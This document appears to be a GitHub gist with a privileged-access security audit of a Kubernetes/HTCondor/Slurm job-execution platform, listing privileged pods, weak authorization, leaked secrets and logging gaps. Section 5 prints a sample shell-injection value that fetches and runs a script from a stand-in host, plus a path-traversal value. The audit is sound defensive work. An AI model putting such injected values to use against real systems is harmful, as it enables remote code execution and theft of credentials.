Skip to content

Instantly share code, notes, and snippets.

@d3v-null

d3v-null/execution_framework_security_audit.md

Last active August 6, 2026 08:41
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save d3v-null/2128ea64b2a2eb3ceecc529cb7afae1e to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save d3v-null/2128ea64b2a2eb3ceecc529cb7afae1e to your computer and use it in GitHub Desktop.
Download ZIP
Raw
execution_framework_security_audit.md

Federated Execution (Cool) Stack — Privileged-Access Security Audit (Oracle K8s + future Pawsey Slurm)

Architecture in one paragraph

A client POSTs a job to the Computing Broker, which authorizes via PAPI, exchanges tokens via AAPI, and intersects SCAPI (site capability) with DMAPI (data location) into a candidate set of sites — it never picks the final site itself. The broker submits exactly one run leader (a condor-native local-universe job — this replaced the old Toil/WES stack entirely) to the central HTCondor pool. The run leader fans the job out as a vanilla-universe payload cluster. Independently, each site's Job Gateway is a pure pilot factory: it spawns pilot pods (Kubernetes, Kueue-gated) or Slurm jobs (via slurmrestd + Apptainer) sized to idle demand. When a pilot joins the pool, HTCondor's negotiator matches it to an idle task — this match, not the broker or the gateway, is what decides where a job actually runs ("late binding"). The pilot then runs the payload under Apptainer with a /srcnet/{input,output,work} contract, staging data via a site-provided Battle API.

1. Privileged components — inventory

Component Root/UID 0 sudo setuid/setgid privileged: true RBAC scope
computing-broker container yes, no USER set; code needs CAP_CHOWN no no no none (no RBAC — it doesn't talk to the k8s API)
HTCondor cm/submit/execute (upstream images) yes (upstream default) no no no ServiceAccount created, no Role bound
warm-apptainer-cache-job (bootstrap Job) implied by privileged no no yes none
job-gateway container yes, no USER set no no no none
Job-gateway's spawned Kubernetes pilot pod (kubernetes_provisioner.py:243,254) yes no no yes — both the fix-storage-perms init container and the startd main container n/a (created, not a Role holder itself)
Job-gateway's Slurm pilot path (SlurmPilotProvisioner) pilot runs under Apptainer on the Slurm compute node, not root-owned by design no no no (gateway just submits via slurmrestd) n/a
Slurm compute nodeset install-apptainer initContainer explicit runAsUser: 0 no yes — chmod u+s newuidmap/newgidmap no n/a
slurm-operator not set (upstream default) no no no ClusterRole, cluster-wide: pods/secrets/configmaps/nodes/deployments/statefulsets + full slinky.slurm.net CRUD
Kueue manager runAsNonRoot, caps dropped, read-only rootfs no no no ClusterRole, cluster-wide (jobs/pods/jobsets/CRDs/webhooks) — but the pod itself is hardened
GEAPI's dynamic panda-sandbox-* Job (runs user image+cmd via prun) security_context left empty → root default no no no (unset) in-cluster ServiceAccount creates batch/v1 Jobs

No PodSecurityAdmission/PSP was found anywhere restricting privileged: true or hostPath cluster-wide — a namespace-scoped create pods RBAC grant (which several of these components hold) is sufficient to produce a fully privileged, host-mounted pod, and nothing in the cluster stops it.

Privileged identities in code (no docker/lxd/disk-style OS groups appear anywhere in this stack): the fixed condor execute user for payloads, and the various k8s ServiceAccounts above. sudo is not used anywhere in the stack.

2. Where privileged components run

  • Everything runs inside containers/pods — but privileged: true + hostPath mounts substantially negate that boundary.
  • Per the deployment topology, the dev cluster is a single k3d cluster with /srv/storage bind-mounted across every node — there's no evidence of a separate "privileged" node pool or taint keeping privileged pilot pods off nodes that also run other tenants' or platform workloads. A compromised pilot pod can reach whatever else is co-scheduled on its node.
  • Namespace layout: broker (broker ×3 + Postgres + RabbitMQ), htcondor (cm/submit/execute — execute nodes are dev-only, production capacity comes from pilots), job-gateway-1/job-gateway-2 (one per site: gateway + Kueue LocalQueue + pilot pods), kueue-system, slurm (Slinky operator + slurmrestd + compute).
  • Pawsey mismatch to flag: today's stand-in is Slinky's k8s-native Slurm (Vault-synced shared key instead of classic setuid-root munge; only a scoped root initContainer sets two setuid bits for Apptainer). The intended path to a real remote Slurm cluster — per execution-framework-architecture.md/pilot-resource-model.md — is the gateway querying slurmrestd for real partition capacity and submitting the pilot with a short-lived Vault-issued HS256 JWT, not SSH. Nothing in the repo names Pawsey specifically (closest concrete external target integrated is STFC); the security properties of a real bare-metal Pawsey HPC cluster (shared login nodes, real munge, multi-tenant filesystem) haven't been validated against this containerized stand-in.

3. Justification for privileges

  • warm-apptainer-cache-job: needs privileged for apptainer image mount/namespace setup at cache-warm time — narrow, transient.
  • Job-gateway's privileged pilot pod: the team's own docs (svc/ska-src-ef-computing-broker/docs/dynamic-storage-plan.md:34,114) call this out as a known, not-yet-fixed gap, and propose moving payload execution into an unprivileged Kubernetes ephemeral container instead. This is not a hard technical requirement — it's acknowledged debt.
  • Slurm's install-apptainer root initContainer: legitimately scoped to a transient initContainer, not the long-running slurmd/pilot container.
  • slurm-operator / Kueue ClusterRoles: legitimate operator patterns (must manage workloads across namespaces) but neither is scoped down to only the namespaces it actually needs.
  • GEAPI's Job creation: legitimate need to run prun on the user's behalf, but ships with no hardening applied (empty securityContext) — an unjustified gap, not a documented risk acceptance.

4. Who/what can invoke privileged operations

Central finding: any authenticated user can get code running inside a privileged pod, with no privileged-operation-specific gate.

  • Path: user → POST /v1/jobs on the broker → HTCondor run leader → payload task → executes (via Apptainer, or raw /bin/sh -c if no --image given) inside the job-gateway's always-privileged pilot pod.
  • Every job's payload runs in the same privileged pilot — there's no separate "privileged job" class or elevated-approval step. The pod's privilege level isn't user-controlled (good), but it applies to all jobs unconditionally (bad).
  • Authz for the caller: PAPI's check degenerates to a single coarse test. The broker reuses the global-execution-api PAPI policy, whose only declared routes are /worksteps; the broker's real routes (/v1/jobs, /v1/jobs/{id}, /logs, /cancel) never match that table, so the only path to a 200 is a blanket scope bypass: any token carrying global-execution-api-service scope is authorized for every route/method under that policy name, regardless of IAM group/role (methods/permissions.py:315-318). That scope is granted not just to GEAPI's own service client but also to a broadly-scoped tester IAM client (both authorization_code and client_credentials grants) in dev and staging.
  • No job-ownership check exists anywhere in the broker — get_job/get_job_logs/cancel_job/list_jobs never compare caller identity to job.username. Any holder of the shared scope can read logs of, or cancel, any other user's job.
  • Compounding: the dev overlay sets authzEnabled: false outright, at which point the audited "username" is a caller-asserted, signature-unverified JWT claim (auth/identity.py).

5. Untrusted input reaching privileged components

  • Shell injection (critical): the broker's client-supplied job_id is only checked for non-emptiness, then f-string-interpolated unquoted into leader.sh, executed by HTCondor on the central schedd (condor_submit_client.py:~157,180-198). A crafted job_id (e.g. x; curl evil|sh #) yields RCE on the schedd host, which holds the schedd-write IDTOKEN, RabbitMQ creds, and IAM client secret.
  • Path traversal (critical): the same unsanitized job_id builds the run directory via plain string concatenation; a value like /etc/cron.d/pwn resolves outside the intended run root, and the broker (root, CAP_CHOWN) chowns/writes an executable script there.
  • Arbitrary image, no allowlist: --image is a free-form OCI reference; nothing in the broker restricts it to a trusted registry.
  • Unsandboxed shell fallback: if --image is omitted, the task runs the user's --cmd via /bin/sh -c directly in the privileged pilot, with no container at all.
  • GEAPI/PanDA path: user-supplied container_image + executable_entrypoint/parameters go straight into prun --containerImage --exec with no allowlist, dispatched to the external PanDA server for remote (out-of-cluster) pilot execution.
  • What is validated: --pilot-resource is restricted to a fixed enum; dask mode forces --image (always containerized); cancel_job_clusters strips quotes from job_id in one place, showing the team is aware of this bug class but missed the wrapper-script path.

6. Host filesystem access

  • /srv/storage is a single bind-mount shared across every node in the cluster, mounted read-write into: the HTCondor submit pod (if enabled), warm-apptainer-cache-job, the job-gateway's privileged pilot pod, and both Slurm compute nodesets. It backs the run-leader root (.ska-leader/runs/<job_id>-a<attempt>/), the Apptainer SIF cache, and site storage areas — i.e. compute, cache, and per-site data all share one root.
  • Init containers actively loosen permissions on this shared root (e.g. chmod o+rx /srv/storage), which undermines the broker's own attempt to scope per-run directories to 0770.
  • Per CLAUDE.md, this same root underlies SODA's deterministic data path — a compromised execution pilot has a plausible route into the data-management plane's storage, not just other compute jobs.
  • No evidence these mounts are scoped per-job/per-tenant at the k8s volume level — isolation is purely a filesystem-permission convention, and one that's actively weakened by the init containers above.

7. Network access

  • Inbound: ClusterIP-only, no default Ingress/TLS anywhere in the execution stack — HTCondor (9618), broker (8082), job-gateway (8081), RabbitMQ (5672), Postgres (5432).
  • Outbound: job-gateway → slurmrestd (plain http:// inside the cluster by default; encryption only on the optional SSH-bastion path to a gated remote Slurm); broker → PAPI over HTTPS (code-enforced); GEAPI → external PanDA server (https://panda-server.dev.skach.org) carrying a token that is also leaked to pod logs (see §8).
  • Encryption: no default mTLS between broker ↔ job-gateway ↔ pilots — trust is bearer tokens / HTCondor IDTOKENS / self-minted Slurm JWTs, not transport-level mutual auth.

8. Credentials and secrets

  • Delivery: External Secrets Operator syncing from Vault KV into k8s Secrets — HTCondor pool password, the broker's read and schedd-write IDTOKENS, the job-gateway's read-only IDTOKEN, the Slurm HS256 JWT signing key, IAM client secrets, DB creds.
  • Rotation/TTL — weak: ESO's refreshInterval: 1h only controls re-pull cadence, not source rotation. ESO authenticates to Vault using a static, non-expiring Vault root token stored as a plain k8s Secret, in both dev and staging — a single credential compromise exposes every secret in the cluster. Vault is unsealed with a 1-of-1 key share (no Shamir split), and Vault audit logging is disabled in every overlay — no record of who/what ever read which secret.
  • Exposed via logs (confirmed): GEAPI's job_submission/panda.py logs os.environ.items() at debug level inside the panda-sandbox-* Job pod, capturing USER_ACCESS_TOKEN and the exchanged PANDA_AUTH_ID_TOKEN in plaintext, readable by anyone with pod-log access in that namespace.
  • Plaintext key material committed to git: infra/ska-src-skaosrc-services-cd/assets/ska-local-ca-key.pem is the actual RSA private key for the internal CA, used live as the cert-manager ClusterIssuer signing key in both dev and staging. Anyone with repo read access can mint internally-trusted certs and MITM internal TLS traffic across nearly the whole platform. This is the single most severe secrets finding. Dev IAM passwords (test1/test1, test2/test2) are also committed in plaintext — low severity, throwaway dev accounts.
  • Per run-leader.md: the schedd-write IDTOKEN and the user's access token travel to the leader via condor input spooling (never touching shared storage) — a deliberate, sound design choice worth noting as a positive control.

9. Impact if a privileged component is compromised

  • Lateral movement: a compromised pilot pod (privileged: true + hostPath) has a direct container-escape path to its node, and — since there's no node isolation (§2) — to whatever else is co-scheduled there, plus into the SODA-shared /srv/storage root.
  • Disable security controls: a compromised broker (root, CAP_CHOWN, already reachable via the job_id shell-injection/path-traversal bug) can write arbitrary files as root anywhere its process/mounts reach.
  • Modify jobs/data/results: yes — the broker's authz is a scope-bypass with no ownership check, so any holder of the shared global-execution-api-service scope can cancel/read/tamper with any user's job; a compromised pilot can reach other tenants' data under the loosened shared storage root.
  • Limiting controls that do exist: dask mode forces containerization; --pilot-resource enum restricts backend selection; Kueue's controller pod is well-hardened even though its RBAC is broad. But no PodSecurityAdmission/PSP anywhere stops a namespace-scoped create pods grant from producing a fully privileged, host-mounted pod — this is the structural gap behind most of the above.

10. Security of privileged components and dependencies

  • Build authority: standard git/submodule/Helm workflow — anyone with merge access to the relevant svc/ska-src-ef-* or CD repo can change these manifests/scripts. No evidence of an extra approval gate specific to privileged-workload changes.
  • Image signing/verification: none found. Images are pulled without cosign/Notary verification or admission-controller enforcement anywhere in the explored manifests.
  • Dependency inventory: none found (no SBOM tooling surfaced). Harbor is deployed (typically ships Trivy scanning) but no evidence it actually gates these images was found — flagged as "not found," not "confirmed absent."

11. Are privileged activities logged and monitored?

  • Coverage gap: fluent-bit only tails logs for rucio, dmapi, scapi, aapi, papi containers. HTCondor, job-gateway, computing-broker, PanDA, and Slurm are not centrally collected at all — logs exist only as raw pod stdout, subject to normal rotation/eviction.
  • Attribution: the broker's own Postgres DB records jobs.username with a per-job state-transition trail — but that identity is caller-asserted and unverified whenever authzEnabled=false (the actual dev-overlay setting).
  • Self-tampering: the broker owns its own audit DB with its own service credentials — a compromised broker (achievable via the job_id injection bug) could plausibly alter or delete its own audit history; no separate/immutable audit sink exists.
  • Alerting: no ServiceMonitor/PodMonitor exists for any execution component, and the Prometheus stack config never references these services by name — no alerts for anomalous privileged-pod creation, submission spikes, or scope-bypass token use.
  • PAPI decision logging: PAPI logs only the incoming authorization request, never the resulting grant/deny decision or which check path fired — so even a retroactive investigation of abuse has no decision-level trail.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment